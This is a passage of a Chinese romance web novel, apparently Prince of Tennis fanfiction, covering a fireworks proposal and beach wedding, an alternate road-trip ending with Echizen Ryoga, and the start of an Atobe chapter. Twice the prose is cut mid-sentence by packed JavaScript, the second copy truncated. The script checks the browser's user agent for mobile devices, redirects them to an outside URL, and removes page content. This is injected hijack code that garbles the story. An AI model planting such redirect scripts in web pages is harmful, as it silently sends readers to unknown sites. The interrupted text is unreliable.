七海抚额,藏之介,你要不要再看一眼现在已经快一米八高的小金。或许在家长眼中,即使孩子再怎么成熟长大,也永远是他们的孩子吧。 一通胡闹后,每一桌桌面上都出现了几瓶清酒,七海一个人抱走了一瓶烧酒。 “二阶堂,小心喝醉了,噗哩。”仁王雅治邪笑着提醒道,他还记得三年前在合宿营地的那场生日派对,她喝醉之后什么话都往外吐的样子。 七海扫过去一记眼刀,“仁王,可别小看我,哼哼。” “就是,可别小瞧了公主殿下!”切原赤也现在仍旧是公主殿下激推。 然而,人有失足马有失蹄,神自然也有一个不注意就再次喝醉的时候。 “呜呜呜,立海大三连霸真的太好了。”七海将一杯烧酒灌进嘴里,一边擦拭着眼角滂沱的泪水,一边感动地说着语序有些混乱的话。 “精市,你知道吗,除了我,还有很多很多人盼着你们胜利。” “所以我真的很高兴,很荣幸,很开心,看到大家真的赢了呜呜呜......” “七海,你喝醉了。”幸村精市无奈地将喝得只剩一小半的大瓶烧酒瓶趁她不注意,从她身旁抽走,偷偷从桌下递给柳莲二,示意他藏好。 她又忽地沉静下来,让身旁的一圈少年们一时间分不清她到底是真醉还是假醉。七海缓缓开口: “仁王,真相是假,真相是真或许都不重要了。” “本小姐只活在现在!”她猛地一拍桌,烤肉桌上其他立海大的少年们已见怪不怪。 只有真田弦一郎的脸再次黑了一度,默默地和幸村精市交换了一个眼神。 【下次绝对不能放任她喝醉了,精市。】 【我知道,弦一郎。】 “来,为了庆祝立海大三连霸,干杯!”七海再次豪迈地站起身,正准备倒酒却发现自己的酒瓶凭空消失了,不过,她不在意这些细节。 “干杯!” 174.第 174 章 当你意识到自己想要与一个人共度余生的时候,你会希望余生尽快开始。 ------------------------- 今夜,镰仓的海边将举办花火大会,鉴于每年的花火大会都是人挤人的盛况,立海大众人专门提早派切原赤也和胡狼桑原来海滩边占抢位置。 七海在家里玩换装play,现在不考虑买房,她也算是小富婆一枚,这次为了花火大会新买了好几套浴衣,这时的她正站在镜子前比划着犹豫该穿哪套。 “妈妈,你觉得哪套好看?” 二阶堂美穗托腮沉吟片刻,“小七,妈妈很少看你穿红色呢,不如今天就穿这身红色的?”她指了指放在床上的一套红白相间的浴衣。 “也好。” 她确实偏好蓝绿紫这样的淡雅色系,不过花火大会人人都穿浅色系,她挑战穿身出挑一点的正红色,也不错。 换上一身白底红花,淡金色腰封的浴衣,盘好头发并插上两对红粉渐变的花簪,七海提溜起绣着金丝纹样的红手袋便一路小跑到玄关,换上木屐准备出门。 “小七,今晚就别回来了哦~”少妇站在她身后倚着门框,挥着手笑得十分暧昧。 “......哦。”七海讷讷应了声,他们确实定了个附近的温泉酒店。 推开门,幸村精市已换上一身浅棕白格纹的浴衣站在台阶下等他。昏黄的路灯下,少年蓝紫色的发丝柔顺地垂在肩侧,他微笑着,面色柔和得不像样,美得她心怦怦直跳。 “七海,你穿红色的样子也很美。”他见惯了她穿浅色系的模样,今天却发现,鲜艳的色彩也与她如此相配,又或许,世间的一切美好都与她相配。 “谢谢。精市,你也好美呀。”七海冒着星星眼走到他跟前,幸村牵过她的手,十指相扣。 沿着这条熟悉的坂道一路走到镰仓海边时,人已经开始聚集,好在占的位置还在,他们得以以最近距离欣赏花火。 今天,立海大的其他少年们也穿着各色浴衣,女网部的少女们也在,柳生南穿了一身淡粉色的浴衣,煞是可爱。七海没忍住rua了两下她的双丸子头,被柳生南追着打。 时针指向八点,第一朵烟花在万众期待下如从海中窜出的流星般升腾直上,绽放。 璀璨的金橙色光芒瞬时点亮了整片天空,将漆黑的海面映照出一片金光闪耀的波浪,像是有无数颗钻石洒落。 紧接着,一朵接一朵各型各色的烟花升空,盛放。 绚烂的花火在夜空中绽放、迸裂、流转,在海面上投下跳动的光影。波光粼粼的镰仓海面宛如一面被点燃的巨镜,将烟花的光芒千百倍地放大,海天连成一片,热烈而壮观。 “精市,好美......”七海仰望着天际,被海上连绵不断的火树银花震撼得几近失语。 “嗯,很美。” 她在看烟花,他却沉醉地盯着她看。她的瞳孔中有倒映出的绚丽花火,他只需看着她的眼睛便足够。 只是,今天的花火却有些与众不同。伴随着升腾的花火,下方还出现了一些数字。 7.14。“七海,那是我们相遇的第一天。”她告诉她,手术一定会成功。 8.9。“七海,那是你送我谷鸢尾的那一天。”她说他有“勇敢而执着的爱”。 8.23。“七海,那是你帮助我取得胜利的那一天。”她启发他战胜天衣无缝。 8.24。“七海,那是我向你告白的那一天。”她拒绝了他,他却不惧前路。 9.3。“七海,那是你邀请我成为你的职业选手的那一天。” 12.11。“七海,那是我们在美国纽约重逢的那一天。” ....... 七海呆愣地望着天际下方不断出现变化的数字,耳边是他温柔耐心的一句句解释,引着她一次次坠入与他的回忆。 侧过头,烟火的明灭交错下,他与她四目相对,泪水就这样,一点,一点,盈满眼眶。 5.20“七海,那是我们正式在一起的那一天。”她这才注意到,那个日子的特殊性,在她的故乡意味着什么。 6.3“七海,那是我得到你的那一天。”这个人怎么连那个日期也要记啊! 最后一个数字,8.25,是,今天。 她的心突然跳得飞快,几乎快要从胸口飞出来,血液疯狂地往脑袋上涌,太阳穴一跳一跳着,像是有什么大事要发生了。 “我相信,今天也会成为一个值得纪念的日子。”幸村精市望着眼前泪水盈眶的少女,柔声道。 海上绚烂的花火的掩映下,少年从兜中掏出一个小盒子,单膝下跪。 盒子被他轻轻打开,嵌在盒子里的戒指戒面大得过分,她刚压抑下吐槽的冲动,戒指连同着垫布被掀开,躺在暗格里的,是一把钥匙和一枚私章。 “七海,谢谢你的出现,你的存在。此生,余生,我只想与你一起度过。” “七海,你愿意嫁给我吗?” 立海大的少年们微笑着,注视着这一幕,注视着海岸边的这两个人。 七海的嘴角勾起一抹浅笑,含在眼眶中的泪水终于落下,她伸出手将钥匙取出—— “我愿意。” 她曾答应他,不会再说拒绝他的话。 “哦!!!”少年们鼓起掌来,欢呼着,雀跃着,连带着他们之后的一群不明真相的围观群众也跟着起哄。 幸村精市起身,将戒指套入她的无名指,却没有再多做什么,只握紧她的手,拉着她继续欣赏海上的无尽烟火。 烟花易冷,他的手却炽热依旧。 眼前的美好或许转瞬即逝,可身旁的人却长久陪伴着,回忆却会在脑中永存着。 那是她目睹过,人生中最美的一场花火大会。 ....... 花火大会结束,人潮退去,空气中弥漫着火药的烟气,海面重归漆黑一片的平静。 最终海边只余他们两人。 “精市,我们定个闹钟明早来海边看日出好不好。” “好。” 回到温泉酒店,七海费力地试图脱下身上看似轻薄依旧裹了好几层的浴衣,却有两只手不安分地攀了上来。 “七海,我来帮你脱。” 解开半幅带,脱下浴衣,里面是层层叠叠的补正和裹胸,幸村精市眼底闪过一丝心疼,“很闷吧。” “嗯,闷死我了,脱下来估计胸上腰上都是汗了......”七海嘟哝着,却发现眼前的人没了声响,抬头,她了然。“精市,你得等我先脱下衣服洗个澡,我们再开始。” “好。” 神之子当然不会老老实实地让她普通地完成脱衣洗澡泡温泉这一系列流程。 “精,精市......” 知觉不知何时陷入明灭混乱中,七海于朦胧中醒来时,他已耐心地为她换上酒店提供的浴衣。 “七海,我们去看日出。” “精市,好累,我爬不起来了......” 或许是因为昨晚她答应了他的求婚,他的服务意识和侵占欲都格外强烈,到最后不知道过了多久,她只觉得自己的身体和脑子都彻底废了,他却还低声安抚着她,申请再来一次。 “那我抱你去。”少年微微一笑,俯身便将床上睡眼惺忪的人打横抱起,于黎明初生的昏暗中一路走到海边。 远处的富士山在深蓝的天幕下显得格外肃穆,直到天光渐白,一缕缕金光自远方缓缓漫延而上,在翻涌的海浪中投射出摇曳的光影。 太阳是一团模糊的白金,于海平面徐徐升起,发射出万丈金光,将海面连同退潮的沙滩连成一条荡漾的金色。 “是黎明啊。”七海坐在沙滩边,倚靠着身侧的人轻声感叹着。 “嗯,是海上的黎明。” “Tous les chemins Me Conduisent à toi.”幸村精市忽地收紧揽着她的肩膀的手,说了一句法语。 七海侧过头,视线交汇,她认真回道:“Moi aussi.” 在风声与海浪声中,他们轻吻着对方。 ------------------------------ 四年后,镰仓海边。 空气中漂浮着咸湿的海水气息并食物的香气,沙滩上,婚礼主祭台前摆放着一列水色曲拱,缓缓攀爬而上的天青色藤蔓点缀其间,散发着清新自然的气息。 七海站在红毯尽头,一身简洁修身的白色缎面婚纱,黑发松松盘起,她的面容被头纱笼罩着,却灵动依旧。她捧着一束白桔梗与马蹄莲扎成的捧花,独自一人向站在台上一身白西装,透着十足的儒雅贵气的幸村精市走去。 至于为什么不是由家人搀扶着嘛——二阶堂悠人和二阶堂美穗又出差去了,他们干脆决定取消家长环节,办一场只属于他们两人和好友之间的沙滩婚礼。 反正婚姻届早就签了,倒是不用担心眼前的人逃跑。 台下坐在长桌两侧的少男少女们眼含笑意地望着这一幕,如今,他们也有了各自的发展方向。 真田弦一郎继承了家里的剑道馆;柳莲二从东大毕业后打算继续修读历史学和语言学的双学位研究生; 仁王雅治从立海大学毕业后成功申上了西班牙的加泰罗尼亚理工大学的建筑学专业硕士,现在已加入一家知名工作室,成为了圈内小有名气的建筑设计师。 柳生比吕士在七海的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728816|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍和三船的牵线下加入了一家网球相关的基金会,将募捐的爱好发展成了帮助他人的终生事业; 丸井文太和胡狼桑原合伙开了一家咖啡厅,Jack负责采购咖啡豆,丸井负责制作甜品,生意做得如火如荼,他们的咖啡厅已经成了神奈川闻名的网红店。 切原赤也还在读大学,关于未来的打算嘛,他的原话是“想当游戏主播”。而毛利寿三郎和越知月光已在高中毕业后迈入职业道路,正式成为日本职业网球协会下属的职业双打搭档。 值得一提的是,柳生南在高中毕业那天居然向网球部内的某人告白了,并且两个人还成功在一起瞒着她哥谈了四年的地下恋情,直到最近才被柳生比吕士发现。 至于是谁——柳生比吕士表示不想说,虽然那个人很有魅力但他心情很复杂。 今天的婚礼主持人,十分意外地,是柳生南,她自告奋勇提出,七海自然不会拒绝。 “咳,那个,在进入主持环节之前,我有事宣布。”七海拿过话筒。 “感谢大家来参加我们的婚礼,待会儿大家吃好喝好,我们马上就走啦。”七海站在搭建好的海风背景墙前,拿着话筒随意地抛下一个重磅新闻。 “诶,七海,什么叫你们待会儿就要走了?”丸井文太目瞪口呆,差点没拿稳手中的蛋糕。 “我们打算旅行婚礼啦,待会儿就要赶飞机去芬兰了,然后大概就是把欧洲玩个遍,再去美国几个州逛一圈这样。”七海笑眯眯道。 “噗哩,祝你们幸运,不会像上次在法国那样被粉丝堵到。”仁王雅治脸上的笑容多少带点幸灾乐祸。 这五年来,幸村精市不仅维持了法网的五连大满贯,另又取得了三个大满贯,实现了全满贯的目标,是国际网坛炙手可热的最有潜力GOAT候选人。他们结束了在英国的本科学业,这才抽空回到日本正式举办婚礼。 两年前,幸海两人结束法网比赛,在法国普罗旺斯的瓦伦索勒薰衣草田被各自的粉丝逮个正着。 一片紫色花海中,他们签名合影到脸僵的事迹至今仍被许多人津津乐道。 一番插科打诨后—— “嗯,现在既然两位新人都到齐了,精市,我有些问题要替七海问你。”眼见着七海走上台,立刻就被幸村精市拉起手,两人眉来眼去的,柳生南直接不客气地打断了他们的视线交流。 “好,南你问吧。”幸村精市微笑着,柳生南不知为何抖了一下,清了清嗓子,拿出早就备好的本子开始一个个问题发问。 前几个提问还算中规中矩,无非是婚后家务归谁,收入归谁这样的问题。实际上,在伦敦的这几年他们都十分忙碌,聘请了保洁定期上门打扫。 至于收入,自然是由赚钱脑袋的七海负责打理,看着资产上升是十分有安全感和满足感的一件事,尽管他们现在早已财务自由,钱不过是个在变大的数字。 下一个问题,让两个人都颇感意外。 “问一下两位,有没有感觉遗憾的事?” 七海接过话筒,回忆起过往的年岁,他们经历的一切,沉默了数秒。 “没有。”她不后悔做出的每个选择。 身旁的人的答案却是—— “有。” 七海怔愣着,透过头纱,她看到幸村精市将话筒交还给柳生南,转过头对着她,一字一句: “七海,我很遗憾呐。遗憾没能更早遇见你。” 分明两人之间只有5分钟的距离,却花了14年才让他们彼此相遇。 “遗憾你经历了那么多苦难,我却没能帮到你。” 她带他抵达海上黎明,可她前一段人生却被隔在黑暗的彼岸。 “七海,在你消失的那段时间,我曾想过如果你回到了属于你的那个世界,而我有机会去你的世界,我一定会跨越时空去找你。” “精市......”酸意一阵阵冲上鼻腔,刺激着泪腺,她的眼眶霎时间泛了红。 “七海,你是我的可遇而不可求,是我生命中最重要的人。” 他伸出手隔着头纱轻抚着她的脸颊,笑容温润。“以后我不需要再说‘没有网球,我就什么也没有了’了呢。” “因为我还有你。” 七海轻轻掀起头纱,她终于无保留无遮掩地看清了他眼中的执着与深情,一如过去的数年。 泪水于瞬息间落下。 “精市,我也一样。” 我今生所做的一切,都是为了把我带来这里,与你相见。 All I’ve ever done in my life was making my way here to you. . 幸海线——The end. 175.第 175 章 夏日的西班牙阳光明媚,七海走出协会大楼,感受着热风拂过脸庞,轻快地踩着街道上的石板,向着计划去打卡的餐厅行进。 走着走着,她却发现有些不对劲,一辆红色的跑车慢慢地跟在她身后,鲜红的车身在阳光下闪闪发亮,实在令人难以忽视。 她下意识加快了速度,跑车执着地顺着她的步伐大摇大摆地跟了上来。 这辆红色跑车为什么一直跟着她啊!烦躁油然而生,七海干脆止住脚步,径直走到车窗前,敲了两下窗户。 车窗缓缓落下的同时,棚顶也被收起,映入眼帘的,是一张久违的熟悉的脸,墨绿色的碎发下,明亮的棕黄色双眸,嘴角挂着一抹玩世不恭的笑。 他的手中抛着橙子,一身灰黑色运动服,整体造型......十分怀旧。 “越前君?!”七海张大了嘴。 “二阶堂,好巧。”越前龙雅轻笑一声。 “越前君,你怎么会在这里?”她还没从惊诧中恢复过来。 “我出生在西班牙,在这里很奇怪?”他挑了挑眉。 七海回想起她曾怀疑过他是否出生于西班牙,他这么一说,倒是合理。 “不奇怪,就是没想到能在这里见到你。” “神樣,刚结束顾问工作?”他的语气随意,但问出来的话倒是对她的近况很是了解的样子。 七海越发诧异了,“越前君,你怎么知道我刚结束顾问工作?” “神樣现在可是鼎鼎有名的人物了,那些队伍都希望你续约不是吗?我听说了,我家老头子也向你发出了邀请。” 确实,今天是她结束四国顾问工作的第一天。第一梯队四个国家自不必说,美国职网协会和其他几个第二梯队国家也都向她发出来邀请。或是希望她续约,或是希望能和NA俱乐部达成人才互输的合作。 “嗯,我还在考虑。”她点了点头。 “呐,神樣,站在路边这样说话不累吗?”越前龙雅拍了拍身侧的椅背,“为了庆祝你结束这几年来的顾问工作,我带你去一家还不错的西班牙餐厅如何?” 难得故人重逢,七海也没客气。 “好呀。” 见她同意,越前龙雅干脆地下车,从车头绕过为她开了车门,一副专职司机的架势,吊儿郎当地躬身行礼,“神樣,请吧。” 七海从善如流地坐上副驾,盯着越前龙雅回到驾驶座发动跑车,这才无奈道:“越前君,怎么感觉五年过去了,你还是老样子。” “啊啦啦,这么说我,神樣,你也还是五年前的样子呐。”越前龙雅目视前方,嘴上的话却没停。 余光瞟过去,坐在身边的人一如初见。她的嘴角挂着浅笑,乌黑的长发垂在肩侧,深紫色的瞳孔莹亮,眉眼弯起,面色柔和而坚定。就是这样的神态,每每激起他的玩心,总想捉弄一下。 于是,越前龙雅话音刚落,脚下猛地一踩油门,亮红色的跑车便如脱缰野马般冲了出去—— “啊!”七海被吓得抓紧了安全带,转过头怒视着身侧的少年,正准备吐槽他几句,越前龙雅却大笑着,在风中高声道: “神樣,别急着骂我,好好感受!” 风声几乎要把他的话搅碎了,发丝直往脸上糊,七海被风吹得不自觉眯起眼,用手遮住额前的风,她抬高音量回应: “越前君,感受什么?” “自——由——” 他拉长了音回道,顺便伸出手揉了揉她的头,本就被风吹得在空中肆意飞舞着的发丝越发凌乱,七海却没有再吐槽回去或是拍开他的手。 自由。 不知道为什么,在听到这两个字的瞬间,她的心像是漏跳了一拍,猛地一震。原本即将脱口而出的话,被这两个字扯散在西班牙夏天的热风中,再寻不回。 “自由,吗。”七海愣愣地重复了一遍。 “没错,自由。”越前龙雅煞有介事地点头。 “二阶堂,不如试着闭上眼。” 她默然闭上眼,下一瞬,其他感官被无限放大。 正值盛夏,西班牙的阳光火辣辣地洒下,热浪扑面而来,温暖炽热。 车在公路上飞驰,吹拂的风带动发丝轻抚脸颊,痒痒的。热风夹杂着汽油味和道路边柑橘的芬芳,鲜活、原始而动人。 耳畔是引擎的轰鸣,伴随着呼啸的风声,在耳边拉起一串回响。 很没道理的,她突然回想起了很多年前在富士急乐园的那次过山车初体验,那是她第一次体会失序感,似乎,并不坏。 副驾驶位的少女一言不发,越前龙雅微微侧过头,发现她已放松地靠着座椅靠背,原本紧抓着安全带不放的双手也垂落下,嘴角的勾起的弧度越扬越高,他忽地心下一动。 只可惜,那家餐厅并不远,跑车没开多久便停靠在路边,七海感受到车速减缓,这才睁开眼。 “走吧,就是这里了。”越前龙雅指了指不远处的一扇门,七海下了车,两人走到这扇古朴的木门前,推开门才发现向下是一段深长的楼梯。 沿着狭窄的楼梯走下,落地了,眼前的景致果然别有洞天。这是一间散发着古典气质的老酒馆,吧台桌面染上岁月的痕迹,墙壁保留着原始状态,斑驳粗糙。 人声嘈杂,少年领着她寻到一处位置坐下,十分熟稔地翻开菜单递给她。七海也没客气,随手点了几个她爱吃的西班牙菜又要了一个pinchos拼盘。 “啊啦啦,没想到神樣把我要点的菜点了。” “是那份pinchos吗?”七海冲着坐在对面的人狡黠一笑。 这回轮到越前龙雅愣住了。 她这才将菜单递过去,托腮娓娓道来。“越前君,我的记性可是很好的。虽然你可能已经忘了,不过很多年前那次u17世界杯,和西班牙队的大家吃饭的时候,我记得你很爱吃这个。” “过了这么多年还记得我的喜好,真让我感动呐。”越前龙雅轻笑着,顺便和服务生加了两个小菜。 吃饭的间隙,七海好奇询问他这些年在做的事,得到的答案令她从头到尾都没能闭上微张着的嘴,他的人生的精彩程度远超她的想象—— 在拉斯维加斯赌场一夜赚到两百万美刀,第二天买了辆二手游艇便出海钓鱼,结果差点迷失在远海; 或是在迪拜因为一场网球比赛结识了当地王储,被赠予一辆豪车,帮他空运回西班牙,也就是他今天开着的这辆; 甚至还在环游意大利时惹上了当地的黑手党,从意大利一路逃回法国才甩掉追杀。 “神樣,你呢?怎么不说说你自己?” 话头被抛回来,七海浅啜一口杯中的香槟,跟着随意道:“我的生活就比较枯燥重复啦,没什么好说的。” “听说,你最后没有选择任何一个人呐。”越前龙雅的笑容逐渐带上几分揶揄,七海马上听懂了他指的是什么事。 “他们都很好,就是因为都很好,选了谁对剩下的人来说都很残忍吧,所以就干脆谁也不选了。” “不愧是神樣。”橙子少年了然道,这确实是眼前的人会做出的决定,总是优先为他人考虑。 一顿饭结束,走出酒馆时夜幕已降临,饱餐一顿,望着星星点点的夜空,她反倒觉得意犹未尽。他意外地是一个很会讲故事的人,而她就像一千零一夜里的国王,还觉得没听够。 “越前君,你真的很厉害。”坐上车,七海侧过头真心实意地感叹道。 相较之下,她过去几年的生活只能说乏善可陈。成就和盛名都有了,却不过是365天如一日地奔波于世界各地,眼中除了网球再无其他。 越前龙雅回得意味深长,“神樣,你想要的话,也可以拥有这样的生活。” 七海怔愣片刻,无奈道:“我不可能啦,我还要——” “顾问的工作不是结束了吗?”越前龙雅插了句进来。 “嗯,是......” “你的那个俱乐部也早就走上正轨,不是每时每刻都得有你在不可吧。” 她下意识回了,“那当然,有大和和葵还有种岛在,我不在也没......关系。” 话说到最后,她迟疑了。七海这才反应过来,如今,她似乎确实处于无事一身轻的状态,她确实可以,去感受体验不一样的人生了。 像他一样。 越前龙雅见她不回话,随口抛出一句邀请。“神樣,我接下来会继续流浪,怎么样,要一起吗?” 她再次被他的话惊呆了。 眨巴了几下眼,七海才不确定地开口: “就我们两个人?开着你这俩跑车去?”她下意识环视了一圈,这辆跑车是很酷,但是自驾游大约就不太合适了。 越前龙雅一声轻笑,“就我们两个,车,我还有一辆。” 正如他所说,他的车最后在一处偏僻的停车场停下,下车后,他便直截了当地带着她走到了另一辆车前—— 那是一辆看着有点车龄,车门车轮上满是泥点子,被改装了个彻底的皮卡,越前龙雅将车后厢的门打开,里面俨然是一间麻雀虽小五脏俱全的小屋。 七海半个身子探进屋内,小小地鼓起掌来,由衷地夸赞:“越前君,你真的很厉害,你会得比我多得多。” “不过,这里只有一张床,那睡觉怎么办。”收回身子,她转头问道,面色镇定自若。 “床可以留给你睡,我还有帐篷,公路上也会有汽车旅馆。还是说——”少年慢慢向她迫近,直到他们的鼻尖几乎要碰到,直到她能完全看清他眼中的调侃。 “神樣,你以为我要和你睡一起吗?” 她的脸蓦然一红,别开头愤愤然道:“你想得美。” 他向后退了一步,“那就这么定了。” “等,等等,我还没想好......”七海的语气弱下来。 这实在太突然了,她还没有计划好,也没有准备“流浪”需要带的东西,或许俱乐部那边还需要她只是她还没问...... 越前龙雅默默注视了一会儿她垂头沉思,犹豫不决的样子,再次出声: “神樣,你知道什么是流浪吗?” 七海听见这句问话,收回心绪抬起头,然而,她还没回答,面前的人就自顾自地给出了答案。 “流浪就是,从现在起,不想他人,不想以后。” “不想他人,不想以后......”她轻声重复了一遍,可是......“可是这好像对我来说有点难。” “机会不等人呐,自由就在眼前,神様,好好决定吧。” 七海怔愣地盯着身前双手抱臂好整以暇地等着她给出答案的少年,张了张嘴,一时间竟然给不出答案。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732310|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是吗,还是犹豫吗,那就不勉强你了。”他了然地点了点头,转身向皮卡走去—— “等等!”七海忙不迭开口。 越前龙雅听到身后传来的这一声“等等”,意味不明地轻笑一声,自顾自地坐上了皮卡的驾驶座,为她打开副驾驶的车门,扶着方向盘望向仍站在车门边兀自出神的少女。 自由,吗...... 她再次咀嚼起这两个字。 过往二十年的人生如走马灯般浮现于脑海,从发现这个世界的真相开始,她便自觉是带着使命前行,忙碌于改变他人的命运,之后便是奔波着带领着麾下的选手夺得胜利。 “自由”,与她而言就像天上的月亮,曾是她人生中诸多可望而不可即之物之一,不如说她从不觉得自己与自由二字是相配的,从不认为月亮能属于自己。 而此刻,自由的大门为她敞开着,散发着诱人的气息,只需她迈开一步...... 倏忽间,她的心中无端卷起阵阵风暴,不客气地扫荡着她的过去,一切压在名字上的世俗之物被掀开。 她突然产生了一股前所未有的冲动。 她想要试试,去过一种和之前截然不同的人生。 这个念头破土而出的瞬间便像快速扩散的病毒一样,疯狂蔓延占据了她的大脑,再也容不下其他答案。 自由。 她想要自由。 七海抬起低垂的眼睫,定定地望着驾驶座上的少年,缓缓开口: “越前君,我跟你去。” “那么,就上车吧。” 她手脚并用地爬上副驾驶座,关上车门,拉上安全带,却再次愣在座位上。她就这样,跟着他走了?真的不用再去管其他的事吗? 她的思绪被身旁人的问话打断。 “二阶堂,你现在还在想着其他人其他事吗?”越前龙雅狡黠地眯起眼,嘴角噙着一抹痞气十足的笑容,像是在打着什么算盘。 七海默默然点了点头,未曾否认。 “我有办法让你不想,要试试吗?” “什么办法?”她侧过头,深紫色的瞳孔中流转着好奇的光芒。 “这样的办法。” 越前龙雅侧过身用力揽过她的脖子,轻啄了一下她的双唇,七海于无措间瞪大了双眼。 “神樣,现在知道我的目的了吗?”他勾了勾唇。 车窗拉下,他们一路向北,西班牙温热的夜风混着柑橘香气直往车里灌,吹散了两人在风中的对话。 “越前龙雅你这个混蛋!你居心不良唔——” “阿啦啦,你是希望我用这种方法堵住你的嘴?这样开车可不安全。” “神様,这么多年过去了,你还是一点没变呐。你难道看不出来吗?” “看不出来什么?”七海瞪着驾驶座上像只刚偷完腥的猫,得意地轻舔了一下唇的少年,咬牙切齿。 “神様,我想独占你呐。” “越前君你......” “现在你知道了,要下车吗?” 越前龙雅善意地将车停靠在路边,语气松快。他想她多半是要下车的,今天只是意外的偶遇,他本就只想捉弄她一番,并不认为她真的能—— “我不下车。”七海坚持道,满脸不服输的执拗。 不行,她非要扳回来一局不可,捉弄人,说得好像她不会一样,都是成年人了别说亲嘴,再过界的事她也不虚。 “反正我这几年也没谈恋爱,无聊得很,你想谈本小姐就勉为其难和你谈一下好了。”他也挺帅的,谈了也不吃亏。 七海语气嚣张,完全没有注意到身旁的人逐渐幽深的眸光,语毕,她侧过头,伸出食指勾住他锁骨上的牛皮绳项链,便作势要亲上去—— 他干脆地揽过她的腰,再次俯身吻了下去。 片刻的浅啄后,他的舌尖便轻巧地撬开她的牙关,强势地与她的纠缠在一起,掠夺、占有,仿佛要吞噬掉她的整个存在。 被吻得愈发深入,墨绿发丝在她的脸颊上划动着,带起阵阵微痒。直到他轻捏住她的后颈,一股难以言喻的酥麻感顺着脊梁直窜而上,她霎时间浑身发软。 狭小的空间内很快变得燥热潮湿,车窗上渐渐蒙上一层雾气,将外界的一切都隔绝。 细碎的呜咽声回荡在车内,不知过了多久,越前龙雅缓缓松开嘴,满意地注视着身前面色泛红,脸上羞恼交织的少女,笑得轻慢: “二阶堂,你的吻技真烂。还远远不够呐。” 七海的额角浮现出具现化的井字:“越前君,你的吻技好是因为亲过很多人了吧!呵,我只是缺乏练习。” “No no, 第一次尝过神様的味道,凡人的味道就提不起兴趣了呐。” 越前龙雅玩心大起,他的脸再次离她越来越近,眼神刻意在她的唇上流连,果不其然被她用手堵住了嘴。 “开车吧你!” “知道了,神様,或者说,我的小女朋友?对了,这时候可不能再喊我越前君了呢。” “......龙雅。” “真好听,再叫一声听听?” “越前龙雅你小心我封印你的技能!” “哈哈哈哈哈哈哈!” 少年爽朗肆意的笑声随风飘远。 属于他们的夏日与自由,才刚开始。 176.第 176 章 英国,伦敦,迹部家城堡。 婚后第一个月,七海决定给迹部景吾一个惊喜。 结婚前的那段时间他给她带来了太多惊喜,她当然也要好好回馈。她还鲜少见到他惊讶的表情呢,七海暗自握拳,一定要让他惊喜得不行! 于是,在迹部景吾结束出差回迹部家城堡前的这几日,七海便正式如火如荼地开展起她的“震惊!连迹部景吾都会惊喜到说不出话来的秘密策划”。 俗话说得好,食色性也。这第一件事,当然是满足某人在那个方面的需求了。 “萨基尔,我要去市中心买点东西,让司机去门口等我吧,拜托啦。然后我订的东西大概过会儿会送到城堡,麻烦你让他们组装好,放到......嗯,放到藏书室好了。” 藏书室穹顶的彩窗投射下来的七彩光影再配上她的布景,应该会很有氛围吧。 “是,太太。” 坐着轿车一路驶达伦敦中心,七海让司机在楼下等着,便自己一个人上楼直奔某家据说是英区小众圈内十分知名的某类用品店。只是,一推开门,她还是被震撼到了。 眼花缭乱的神奇用品陈列在黑色的货架上,七海一路走过去看得目不暇接。“呃,这些就还是算了吧,我是来看穿在里面的衣服的。”倒也不必如此刺激...... 顺着旋转楼梯向上,抵达衣物区,她这才仔细浏览起货架上的甚至不知道能不能算得上衣物的碎布带子。 “哇呜,这件感觉应该不错,是他喜欢的颜色,造型也不至于太夸张。”她素来是速战速决的购物风格,决定了是手上这一件,七海便喊来店员取一套自己的码数快速结账,下楼坐车回家一气呵成。 两小时后,迹部家厨房。 “我看看噢,约克夏布丁该怎么做......”七海站在岛台前,一手向碗里倒着面粉,一手捧着手机认真研究着屏幕上的菜谱,身后站着一排女仆。 “太太,您可以让我们来做的。”女仆A柔声道,眼底满是宠溺,太太实在太可爱了! “让你们来做不就没意义了嘛!”七海撅嘴,头也不抬地吐槽道,“如果连英国菜我都做不好,那简直是枉费我的出身。” “总之先预热烤箱。”七海一板一眼地照着菜谱上的步骤有序进行着,顺便又加了些小心思进去。 譬如在个别布丁中加入了可食用的玫瑰花瓣碎,又譬如在一个布丁里塞了一块英镑进去。 三十分钟后—— 随着烤箱发出的“叮”声,七海戴上手套,不顾仆人们的劝阻,小心翼翼地取出烤盘,蛋奶的香气伴随着一缕玫瑰香气刹那间充斥着整个厨房,烤盘上的约克夏布丁表层散发着诱人的浅褐色光泽。 看着不错诶!七海双眼放光。 “太太一次就成功了呢!不愧是太太,实在是太棒了!”身后的一排女仆不约而同地鼓起掌来,捧场能力max。七海笑得无奈,不过,她也早该习惯了。 “好了,接下来是烤牛肉......” 窗外,天光渐渐黯淡下去。远处的云层染上了橙红色的晚霞,缓缓地在天空中流动。明亮的烛火于夏风中跳动着,照亮了白色餐布上摆放着的一盘盘英式家庭菜肴。 接下来就等着迹部景吾自投罗网!七海低头看着手机上写着【小七,我还有三分钟到家】的短讯,捂嘴试图掩饰自己的窃笑。 迹部景吾抵达城堡门口时,女仆已排成两排候在两边。 “景吾少爷,太太在餐厅等你。”萨基尔微笑着伸手,接过他脱下的外套说道。 “知道了,本大爷这就去找她。”迹部景吾轻笑一声,大踏步向餐厅走去。 推开餐厅的门,他却先愣了愣,今天的餐厅并没有开灯,唯一的光源便是长桌上的蜡烛,在月色下散发着幽暗的黄光,照亮了坐在餐桌边的她,柔和了她的面容。 有些不对劲。 